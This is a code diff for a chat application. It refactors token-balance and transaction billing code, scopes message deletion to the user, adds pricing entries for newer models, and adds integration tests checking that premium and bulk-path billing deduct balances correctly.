@@ -361,6 +361,7 @@ module.exports = {
 
       const deleteMessagesResult = await deleteMessages({
         conversationId: { $in: conversationIds },
+        user,
       });
 
       return { ...deleteConvoResult, messages: deleteMessagesResult };
diff --git a/api/models/Conversation.spec.js b/api/models/Conversation.spec.js
index bd415b4165..e9e4b5762d 100644
--- a/api/models/Conversation.spec.js
+++ b/api/models/Conversation.spec.js
@@ -549,6 +549,7 @@ describe('Conversation Operations', () => {
       expect(result.messages.deletedCount).toBe(5);
       expect(deleteMessages).toHaveBeenCalledWith({
         conversationId: { $in: [mockConversationData.conversationId] },
+        user: 'user123',
       });
 
       // Verify conversation was deleted
diff --git a/api/models/Transaction.js b/api/models/Transaction.js
index e553e2bb3b..7f018e1c30 100644
--- a/api/models/Transaction.js
+++ b/api/models/Transaction.js
@@ -1,140 +1,7 @@
-const { logger } = require('@librechat/data-schemas');
+const { logger, CANCEL_RATE } = require('@librechat/data-schemas');
 const { getMultiplier, getCacheMultiplier } = require('./tx');
-const { Transaction, Balance } = require('~/db/models');
-
-const cancelRate = 1.15;
-
-/**
- * Updates a user's token balance based on a transaction using optimistic concurrency control
- * without schema changes. Compatible with DocumentDB.
- * @async
- * @function
- * @param {Object} params - The function parameters.
- * @param {string|mongoose.Types.ObjectId} params.user - The user ID.
- * @param {number} params.incrementValue - The value to increment the balance by (can be negative).
- * @param {import('mongoose').UpdateQuery<import('@librechat/data-schemas').IBalance>['$set']} [params.setValues] - Optional additional fields to set.
- * @returns {Promise<Object>} Returns the updated balance document (lean).
- * @throws {Error} Throws an error if the update fails after multiple retries.
- */
-const updateBalance = async ({ user, incrementValue, setValues }) => {
-  let maxRetries = 10; // Number of times to retry on conflict
-  let delay = 50; // Initial retry delay in ms
-  let lastError = null;
-
-  for (let attempt = 1; attempt <= maxRetries; attempt++) {
-    let currentBalanceDoc;
-    try {
-      // 1. Read the current document state
-      currentBalanceDoc = await Balance.findOne({ user }).lean();
-      const currentCredits = currentBalanceDoc ? currentBalanceDoc.tokenCredits : 0;
-
-      // 2. Calculate the desired new state
-      const potentialNewCredits = currentCredits + incrementValue;
-      const newCredits = Math.max(0, potentialNewCredits); // Ensure balance doesn't go below zero
-
-      // 3. Prepare the update payload
-      const updatePayload = {
-        $set: {
-          tokenCredits: newCredits,
-          ...(setValues || {}), // Merge other values to set
-        },
-      };
-
-      // 4. Attempt the conditional update or upsert
-      let updatedBalance = null;
-      if (currentBalanceDoc) {
-        // --- Document Exists: Perform Conditional Update ---
-        // Try to update only if the tokenCredits match the value we read (currentCredits)
-        updatedBalance = await Balance.findOneAndUpdate(
-          {
-            user: user,
-            tokenCredits: currentCredits, // Optimistic lock: condition based on the read value
-          },
-          updatePayload,
-          {
-            new: true, // Return the modified document
-            // lean: true, // .lean() is applied after query execution in Mongoose >= 6
-          },
-        ).lean(); // Use lean() for plain JS object
-
-        if (updatedBalance) {
-          // Success! The update was applied based on the expected current state.
-          return updatedBalance;
-        }
-        // If updatedBalance is null, it means tokenCredits changed between read and write (conflict).
-        lastError = new Error(`Concurrency conflict for user ${user} on attempt ${attempt}.`);
-        // Proceed to retry logic below.
-      } else {
-        // --- Document Does Not Exist: Perform Conditional Upsert ---
-        // Try to insert the document, but only if it still doesn't exist.
-        // Using tokenCredits: {$exists: false} helps prevent race conditions where
-        // another process creates the doc between our findOne and findOneAndUpdate.
-        try {
-          updatedBalance = await Balance.findOneAndUpdate(
-            {
-              user: user,
-              // Attempt to match only if the document doesn't exist OR was just created
-              // without tokenCredits (less likely but possible). A simple { user } filter
-              // might also work, relying on the retry for conflicts.
-              // Let's use a simpler filter and rely on retry for races.
-              // tokenCredits: { $exists: false } // This condition might be too strict if doc exists with 0 credits
-            },
-            updatePayload,
-            {
-              upsert: true, // Create if doesn't exist
-              new: true, // Return the created/updated document
-              // setDefaultsOnInsert: true, // Ensure schema defaults are applied on insert
-              // lean: true,
-            },
-          ).lean();
-
-          if (updatedBalance) {
-            // Upsert succeeded (likely created the document)
-            return updatedBalance;
-          }
-          // If null, potentially a rare race condition during upsert. Retry should handle it.
-          lastError = new Error(
-            `Upsert race condition suspected for user ${user} on attempt ${attempt}.`,
-          );
-        } catch (error) {
-          if (error.code === 11000) {
-            // E11000 duplicate key error on index
-            // This means another process created the document *just* before our upsert.
-            // It's a concurrency conflict during creation. We should retry.
-            lastError = error; // Store the error
-            // Proceed to retry logic below.
-          } else {
-            // Different error, rethrow
-            throw error;
-          }
-        }
-      } // End if/else (document exists?)
-    } catch (error) {
-      // Catch errors from findOne or unexpected findOneAndUpdate errors
-      logger.error(`[updateBalance] Error during attempt ${attempt} for user ${user}:`, error);
-      lastError = error; // Store the error
-      // Consider stopping retries for non-transient errors, but for now, we retry.
-    }
-
-    // If we reached here, it means the update failed (conflict or error), wait and retry
-    if (attempt < maxRetries) {
-      const jitter = Math.random() * delay * 0.5; // Add jitter to delay
-      await new Promise((resolve) => setTimeout(resolve, delay + jitter));
-      delay = Math.min(delay * 2, 2000); // Exponential backoff with cap
-    }
-  } // End for loop (retries)
-
-  // If loop finishes without success, throw the last encountered error or a generic one
-  logger.error(
-    `[updateBalance] Failed to update balance for user ${user} after ${maxRetries} attempts.`,
-  );
-  throw (
-    lastError ||
-    new Error(
-      `Failed to update balance for user ${user} after maximum retries due to persistent conflicts.`,
-    )
-  );
-};
+const { Transaction } = require('~/db/models');
+const { updateBalance } = require('~/models');
 
 /** Method to calculate and set the tokenValue for a transaction */
 function calculateTokenValue(txn) {
@@ -145,8 +12,8 @@ function calculateTokenValue(txn) {
   txn.rate = multiplier;
   txn.tokenValue = txn.rawAmount * multiplier;
   if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') {
-    txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate);
-    txn.rate *= cancelRate;
+    txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE);
+    txn.rate *= CANCEL_RATE;
   }
 }
 
@@ -321,11 +188,11 @@ function calculateStructuredTokenValue(txn) {
   }
 
   if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') {
-    txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate);
-    txn.rate *= cancelRate;
+    txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE);
+    txn.rate *= CANCEL_RATE;
     if (txn.rateDetail) {
       txn.rateDetail = Object.fromEntries(
-        Object.entries(txn.rateDetail).map(([k, v]) => [k, v * cancelRate]),
+        Object.entries(txn.rateDetail).map(([k, v]) => [k, v * CANCEL_RATE]),
       );
     }
   }
diff --git a/api/models/Transaction.spec.js b/api/models/Transaction.spec.js
index 4b478d4dc3..f363c472e1 100644
--- a/api/models/Transaction.spec.js
+++ b/api/models/Transaction.spec.js
@@ -1,8 +1,10 @@
 const mongoose = require('mongoose');
+const { recordCollectedUsage } = require('@librechat/api');
+const { createMethods } = require('@librechat/data-schemas');
 const { MongoMemoryServer } = require('mongodb-memory-server');
-const { spendTokens, spendStructuredTokens } = require('./spendTokens');
 const { getMultiplier, getCacheMultiplier, premiumTokenValues, tokenValues } = require('./tx');
 const { createTransaction, createStructuredTransaction } = require('./Transaction');
+const { spendTokens, spendStructuredTokens } = require('./spendTokens');
 const { Balance, Transaction } = require('~/db/models');
 
 let mongoServer;
@@ -823,6 +825,139 @@ describe('Premium Token Pricing Integration Tests', () => {
     expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
   });
 
+  test('spendTokens should apply standard pricing for gemini-3.1-pro-preview below threshold', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'gemini-3.1-pro-preview';
+    const promptTokens = 100000;
+    const completionTokens = 500;
+
+    const txData = {
+      user: userId,
+      conversationId: 'test-gemini31-below',
+      model,
+      context: 'test',
+      endpointTokenConfig: null,
+      balance: { enabled: true },
+    };
+
+    await spendTokens(txData, { promptTokens, completionTokens });
+
+    const standardPromptRate = tokenValues['gemini-3.1'].prompt;
+    const standardCompletionRate = tokenValues['gemini-3.1'].completion;
+    const expectedCost =
+      promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+  });
+
+  test('spendTokens should apply premium pricing for gemini-3.1-pro-preview above threshold', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'gemini-3.1-pro-preview';
+    const promptTokens = 250000;
+    const completionTokens = 500;
+
+    const txData = {
+      user: userId,
+      conversationId: 'test-gemini31-above',
+      model,
+      context: 'test',
+      endpointTokenConfig: null,
+      balance: { enabled: true },
+    };
+
+    await spendTokens(txData, { promptTokens, completionTokens });
+
+    const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+    const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+    const expectedCost =
+      promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+  });
+
+  test('spendTokens should apply standard pricing for gemini-3.1-pro-preview at exactly the threshold', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'gemini-3.1-pro-preview';
+    const promptTokens = premiumTokenValues['gemini-3.1'].threshold;
+    const completionTokens = 500;
+
+    const txData = {
+      user: userId,
+      conversationId: 'test-gemini31-exact',
+      model,
+      context: 'test',
+      endpointTokenConfig: null,
+      balance: { enabled: true },
+    };
+
+    await spendTokens(txData, { promptTokens, completionTokens });
+
+    const standardPromptRate = tokenValues['gemini-3.1'].prompt;
+    const standardCompletionRate = tokenValues['gemini-3.1'].completion;
+    const expectedCost =
+      promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+  });
+
+  test('spendStructuredTokens should apply premium pricing for gemini-3.1 when total input exceeds threshold', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'gemini-3.1-pro-preview';
+    const txData = {
+      user: userId,
+      conversationId: 'test-gemini31-structured-premium',
+      model,
+      context: 'message',
+      endpointTokenConfig: null,
+      balance: { enabled: true },
+    };
+
+    const tokenUsage = {
+      promptTokens: {
+        input: 200000,
+        write: 10000,
+        read: 5000,
+      },
+      completionTokens: 1000,
+    };
+
+    const totalInput =
+      tokenUsage.promptTokens.input + tokenUsage.promptTokens.write + tokenUsage.promptTokens.read;
+
+    await spendStructuredTokens(txData, tokenUsage);
+
+    const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+    const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+    const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
+    const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
+
+    const expectedPromptCost =
+      tokenUsage.promptTokens.input * premiumPromptRate +
+      tokenUsage.promptTokens.write * writeMultiplier +
+      tokenUsage.promptTokens.read * readMultiplier;
+    const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+    const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    expect(totalInput).toBeGreaterThan(premiumTokenValues['gemini-3.1'].threshold);
+    expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+  });
+
   test('non-premium models should not be affected by inputTokenCount regardless of prompt size', async () => {
     const userId = new mongoose.Types.ObjectId();
     const initialBalance = 100000000;
@@ -852,3 +987,339 @@ describe('Premium Token Pricing Integration Tests', () => {
     expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
   });
 });
+
+describe('Bulk path parity', () => {
+  /**
+   * Each test here mirrors an existing legacy test above, replacing spendTokens/
+   * spendStructuredTokens with recordCollectedUsage + bulk deps.
+   * The balance deduction and transaction document fields must be numerically identical.
+   */
+  let bulkDeps;
+  let methods;
+
+  beforeEach(() => {
+    methods = createMethods(mongoose);
+    bulkDeps = {
+      spendTokens: () => Promise.resolve(),
+      spendStructuredTokens: () => Promise.resolve(),
+      pricing: { getMultiplier, getCacheMultiplier },
+      bulkWriteOps: {
+        insertMany: methods.bulkInsertTransactions,
+        updateBalance: methods.updateBalance,
+      },
+    };
+  });
+
+  test('balance should decrease when spending tokens via bulk path', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'gpt-3.5-turbo';
+    const promptTokens = 100;
+    const completionTokens = 50;
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-conversation-id',
+      model,
+      context: 'test',
+      balance: { enabled: true },
+      transactions: { enabled: true },
+      collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+    });
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    const promptMultiplier = getMultiplier({
+      model,
+      tokenType: 'prompt',
+      inputTokenCount: promptTokens,
+    });
+    const completionMultiplier = getMultiplier({
+      model,
+      tokenType: 'completion',
+      inputTokenCount: promptTokens,
+    });
+    const expectedTotalCost =
+      promptTokens * promptMultiplier + completionTokens * completionMultiplier;
+    const expectedBalance = initialBalance - expectedTotalCost;
+
+    expect(updatedBalance.tokenCredits).toBeCloseTo(expectedBalance, 0);
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(2);
+  });
+
+  test('bulk path should not update balance when balance.enabled is false', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'gpt-3.5-turbo';
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-conversation-id',
+      model,
+      context: 'test',
+      balance: { enabled: false },
+      transactions: { enabled: true },
+      collectedUsage: [{ input_tokens: 100, output_tokens: 50, model }],
+    });
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    expect(updatedBalance.tokenCredits).toBe(initialBalance);
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(2); // transactions still recorded
+  });
+
+  test('bulk path should not insert when transactions.enabled is false', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-conversation-id',
+      model: 'gpt-3.5-turbo',
+      context: 'test',
+      balance: { enabled: true },
+      transactions: { enabled: false },
+      collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }],
+    });
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(0);
+    const balance = await Balance.findOne({ user: userId });
+    expect(balance.tokenCredits).toBe(initialBalance);
+  });
+
+  test('bulk path handles incomplete context for completion tokens — same CANCEL_RATE as legacy', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 17613154.55;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-3-5-sonnet';
+    const promptTokens = 10;
+    const completionTokens = 50;
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-convo',
+      model,
+      context: 'incomplete',
+      balance: { enabled: true },
+      transactions: { enabled: true },
+      collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+    });
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    const completionTx = txns.find((t) => t.tokenType === 'completion');
+    const completionMultiplier = getMultiplier({
+      model,
+      tokenType: 'completion',
+      inputTokenCount: promptTokens,
+    });
+    expect(completionTx.tokenValue).toBeCloseTo(-completionTokens * completionMultiplier * 1.15, 0);
+  });
+
+  test('bulk path structured tokens — balance deduction matches legacy spendStructuredTokens', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 17613154.55;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-3-5-sonnet';
+    const promptInput = 11;
+    const promptWrite = 140522;
+    const promptRead = 0;
+    const completionTokens = 5;
+    const totalInput = promptInput + promptWrite + promptRead;
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-convo',
+      model,
+      context: 'message',
+      balance: { enabled: true },
+      transactions: { enabled: true },
+      collectedUsage: [
+        {
+          input_tokens: promptInput,
+          output_tokens: completionTokens,
+          model,
+          input_token_details: { cache_creation: promptWrite, cache_read: promptRead },
+        },
+      ],
+    });
+
+    const promptMultiplier = getMultiplier({
+      model,
+      tokenType: 'prompt',
+      inputTokenCount: totalInput,
+    });
+    const completionMultiplier = getMultiplier({
+      model,
+      tokenType: 'completion',
+      inputTokenCount: totalInput,
+    });
+    const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier;
+    const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier;
+
+    const expectedPromptCost =
+      promptInput * promptMultiplier + promptWrite * writeMultiplier + promptRead * readMultiplier;
+    const expectedCompletionCost = completionTokens * completionMultiplier;
+    const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+    const expectedBalance = initialBalance - expectedTotalCost;
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    expect(Math.abs(updatedBalance.tokenCredits - expectedBalance)).toBeLessThan(100);
+  });
+
+  test('premium pricing above threshold via bulk path — same balance as legacy', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-opus-4-6';
+    const promptTokens = 250000;
+    const completionTokens = 500;
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-premium',
+      model,
+      context: 'test',
+      balance: { enabled: true },
+      transactions: { enabled: true },
+      collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }],
+    });
+
+    const premiumPromptRate = premiumTokenValues[model].prompt;
+    const premiumCompletionRate = premiumTokenValues[model].completion;
+    const expectedCost =
+      promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+  });
+
+  test('real-world multi-entry batch: 5 sequential tool calls — same total deduction as 5 legacy spendTokens calls', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-opus-4-5-20251101';
+    const calls = [
+      { input_tokens: 31596, output_tokens: 151 },
+      { input_tokens: 35368, output_tokens: 150 },
+      { input_tokens: 58362, output_tokens: 295 },
+      { input_tokens: 112604, output_tokens: 193 },
+      { input_tokens: 257440, output_tokens: 2217 },
+    ];
+
+    let expectedTotalCost = 0;
+    for (const { input_tokens, output_tokens } of calls) {
+      const pm = getMultiplier({ model, tokenType: 'prompt', inputTokenCount: input_tokens });
+      const cm = getMultiplier({ model, tokenType: 'completion', inputTokenCount: input_tokens });
+      expectedTotalCost += input_tokens * pm + output_tokens * cm;
+    }
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-sequential',
+      model,
+      context: 'message',
+      balance: { enabled: true },
+      transactions: { enabled: true },
+      collectedUsage: calls.map((c) => ({ ...c, model })),
+    });
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(10); // 5 calls × 2 docs (prompt + completion)
+
+    const updatedBalance = await Balance.findOne({ user: userId });
+    expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+  });
+
+  test('bulk path should save transaction but not update balance when balance disabled, transactions enabled', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-conversation-id',
+      model: 'gpt-3.5-turbo',
+      context: 'test',
+      balance: { enabled: false },
+      transactions: { enabled: true },
+      collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }],
+    });
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(2);
+    expect(txns[0].rawAmount).toBeDefined();
+    const balance = await Balance.findOne({ user: userId });
+    expect(balance.tokenCredits).toBe(initialBalance);
+  });
+
+  test('bulk path structured tokens should not save when transactions.enabled is false', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-conversation-id',
+      model: 'claude-3-5-sonnet',
+      context: 'message',
+      balance: { enabled: true },
+      transactions: { enabled: false },
+      collectedUsage: [
+        {
+          input_tokens: 10,
+          output_tokens: 5,
+          model: 'claude-3-5-sonnet',
+          input_token_details: { cache_creation: 100, cache_read: 5 },
+        },
+      ],
+    });
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(0);
+    const balance = await Balance.findOne({ user: userId });
+    expect(balance.tokenCredits).toBe(initialBalance);
+  });
+
+  test('bulk path structured tokens should save but not update balance when balance disabled', async () => {
+    const userId = new mongoose.Types.ObjectId();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    await recordCollectedUsage(bulkDeps, {
+      user: userId.toString(),
+      conversationId: 'test-conversation-id',
+      model: 'claude-3-5-sonnet',
+      context: 'message',
+      balance: { enabled: false },
+      transactions: { enabled: true },
+      collectedUsage: [
+        {
+          input_tokens: 10,
+          output_tokens: 5,
+          model: 'claude-3-5-sonnet',
+          input_token_details: { cache_creation: 100, cache_read: 5 },
+        },
+      ],
+    });
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(2);
+    const promptTx = txns.find((t) => t.tokenType === 'prompt');
+    expect(promptTx.inputTokens).toBe(-10);
+    expect(promptTx.writeTokens).toBe(-100);
+    expect(promptTx.readTokens).toBe(-5);
+    const balance = await Balance.findOne({ user: userId });
+    expect(balance.tokenCredits).toBe(initialBalance);
+  });
+});
diff --git a/api/models/spendTokens.spec.js b/api/models/spendTokens.spec.js
index c076d29700..dfeec5ee83 100644
--- a/api/models/spendTokens.spec.js
+++ b/api/models/spendTokens.spec.js
@@ -878,6 +878,135 @@ describe('spendTokens', () => {
       expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
     });
 
+    it('should charge standard rates for gemini-3.1-pro-preview when prompt tokens are below threshold', async () => {
+      const initialBalance = 100000000;
+      await Balance.create({
+        user: userId,
+        tokenCredits: initialBalance,
+      });
+
+      const model = 'gemini-3.1-pro-preview';
+      const promptTokens = 100000;
+      const completionTokens = 500;
+
+      const txData = {
+        user: userId,
+        conversationId: 'test-gemini31-standard-pricing',
+        model,
+        context: 'test',
+        balance: { enabled: true },
+      };
+
+      await spendTokens(txData, { promptTokens, completionTokens });
+
+      const expectedCost =
+        promptTokens * tokenValues['gemini-3.1'].prompt +
+        completionTokens * tokenValues['gemini-3.1'].completion;
+
+      const balance = await Balance.findOne({ user: userId });
+      expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+    });
+
+    it('should charge premium rates for gemini-3.1-pro-preview when prompt tokens exceed threshold', async () => {
+      const initialBalance = 100000000;
+      await Balance.create({
+        user: userId,
+        tokenCredits: initialBalance,
+      });
+
+      const model = 'gemini-3.1-pro-preview';
+      const promptTokens = 250000;
+      const completionTokens = 500;
+
+      const txData = {
+        user: userId,
+        conversationId: 'test-gemini31-premium-pricing',
+        model,
+        context: 'test',
+        balance: { enabled: true },
+      };
+
+      await spendTokens(txData, { promptTokens, completionTokens });
+
+      const expectedCost =
+        promptTokens * premiumTokenValues['gemini-3.1'].prompt +
+        completionTokens * premiumTokenValues['gemini-3.1'].completion;
+
+      const balance = await Balance.findOne({ user: userId });
+      expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+    });
+
+    it('should charge premium rates for gemini-3.1-pro-preview-customtools when prompt tokens exceed threshold', async () => {
+      const initialBalance = 100000000;
+      await Balance.create({
+        user: userId,
+        tokenCredits: initialBalance,
+      });
+
+      const model = 'gemini-3.1-pro-preview-customtools';
+      const promptTokens = 250000;
+      const completionTokens = 500;
+
+      const txData = {
+        user: userId,
+        conversationId: 'test-gemini31-customtools-premium',
+        model,
+        context: 'test',
+        balance: { enabled: true },
+      };
+
+      await spendTokens(txData, { promptTokens, completionTokens });
+
+      const expectedCost =
+        promptTokens * premiumTokenValues['gemini-3.1'].prompt +
+        completionTokens * premiumTokenValues['gemini-3.1'].completion;
+
+      const balance = await Balance.findOne({ user: userId });
+      expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+    });
+
+    it('should charge premium rates for structured gemini-3.1 tokens when total input exceeds threshold', async () => {
+      const initialBalance = 100000000;
+      await Balance.create({
+        user: userId,
+        tokenCredits: initialBalance,
+      });
+
+      const model = 'gemini-3.1-pro-preview';
+      const txData = {
+        user: userId,
+        conversationId: 'test-gemini31-structured-premium',
+        model,
+        context: 'test',
+        balance: { enabled: true },
+      };
+
+      const tokenUsage = {
+        promptTokens: {
+          input: 200000,
+          write: 10000,
+          read: 5000,
+        },
+        completionTokens: 1000,
+      };
+
+      const result = await spendStructuredTokens(txData, tokenUsage);
+
+      const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+      const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+      const writeRate = getCacheMultiplier({ model, cacheType: 'write' });
+      const readRate = getCacheMultiplier({ model, cacheType: 'read' });
+
+      const expectedPromptCost =
+        tokenUsage.promptTokens.input * premiumPromptRate +
+        tokenUsage.promptTokens.write * writeRate +
+        tokenUsage.promptTokens.read * readRate;
+      const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+
+      expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0);
+      expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
+    });
+
     it('should not apply premium pricing to non-premium models regardless of prompt size', async () => {
       const initialBalance = 100000000;
       await Balance.create({
diff --git a/api/models/tx.js b/api/models/tx.js
index 9a6305ec5c..ce14fad3a0 100644
--- a/api/models/tx.js
+++ b/api/models/tx.js
@@ -4,31 +4,18 @@ const defaultRate = 6;
 /**
  * Token Pricing Configuration
  *
- * IMPORTANT: Key Ordering for Pattern Matching
- * ============================================
- * The `findMatchingPattern` function iterates through object keys in REVERSE order
- * (last-defined keys are checked first) and uses `modelName.includes(key)` for matching.
+ * Pattern Matching
+ * ================
+ * `findMatchingPattern` (from @librechat/api) uses `modelName.includes(key)` and selects
+ * the LONGEST matching key. If a key's length equals the model name's length (exact match),
+ * it returns immediately. Definition order does NOT affect correctness.
  *
- * This means:
- * 1. BASE PATTERNS must be defined FIRST (e.g., "kimi", "moonshot")
- * 2. SPECIFIC PATTERNS must be defined AFTER their base patterns (e.g., "kimi-k2", "kimi-k2.5")
- *
- * Example ordering for Kimi models:
- *   kimi: { prompt: 0.6, completion: 2.5 },       // Base pattern - checked last
- *   'kimi-k2': { prompt: 0.6, completion: 2.5 },  // More specific - checked before "kimi"
- *   'kimi-k2.5': { prompt: 0.6, completion: 3.0 }, // Most specific - checked first
- *
- * Why this matters:
- * - Model name "kimi-k2.5" contains both "kimi" and "kimi-k2" as substrings
- * - If "kimi" were checked first, it would incorrectly match and return wrong pricing
- * - By defining specific patterns AFTER base patterns, they're checked first in reverse iteration
+ * Key ordering matters only for:
+ *   1. Performance: list older/less common models first so newer/common models
+ *      are found earlier in the reverse scan.
+ *   2. Same-length tie-breaking: the last-defined key wins on equal-length matches.
  *
  * This applies to BOTH `tokenValues` and `cacheTokenValues` objects.
- *
- * When adding new model families:
- * 1. Define the base/generic pattern first
- * 2. Define increasingly specific patterns after
- * 3. Ensure no pattern is a substring of another that should match differently
  */
 
 /**
@@ -150,9 +137,14 @@ const tokenValues = Object.assign(
     'gpt-5': { prompt: 1.25, completion: 10 },
     'gpt-5.1': { prompt: 1.25, completion: 10 },
     'gpt-5.2': { prompt: 1.75, completion: 14 },
+    'gpt-5.3': { prompt: 1.75, completion: 14 },
+    'gpt-5.4': { prompt: 2.5, completion: 15 },
+    // TODO: gpt-5.4-pro pricing not yet officially published — verify before release
+    'gpt-5.4-pro': { prompt: 5, completion: 30 },
     'gpt-5-nano': { prompt: 0.05, completion: 0.4 },
     'gpt-5-mini': { prompt: 0.25, completion: 2 },
     'gpt-5-pro': { prompt: 15, completion: 120 },
+    'gpt-5.2-pro': { prompt: 21, completion: 168 },
     o1: { prompt: 15, completion: 60 },
     'o1-mini': { prompt: 1.1, completion: 4.4 },
     'o1-preview': { prompt: 15, completion: 60 },
@@ -200,6 +192,8 @@ const tokenValues = Object.assign(
     'gemini-2.5-flash-image': { prompt: 0.15, completion: 30 },
     'gemini-3': { prompt: 2, completion: 12 },
     'gemini-3-pro-image': { prompt: 2, completion: 120 },
+    'gemini-3.1': { prompt: 2, completion: 12 },
+    'gemini-3.1-flash-lite': { prompt: 0.25, completion: 1.5 },
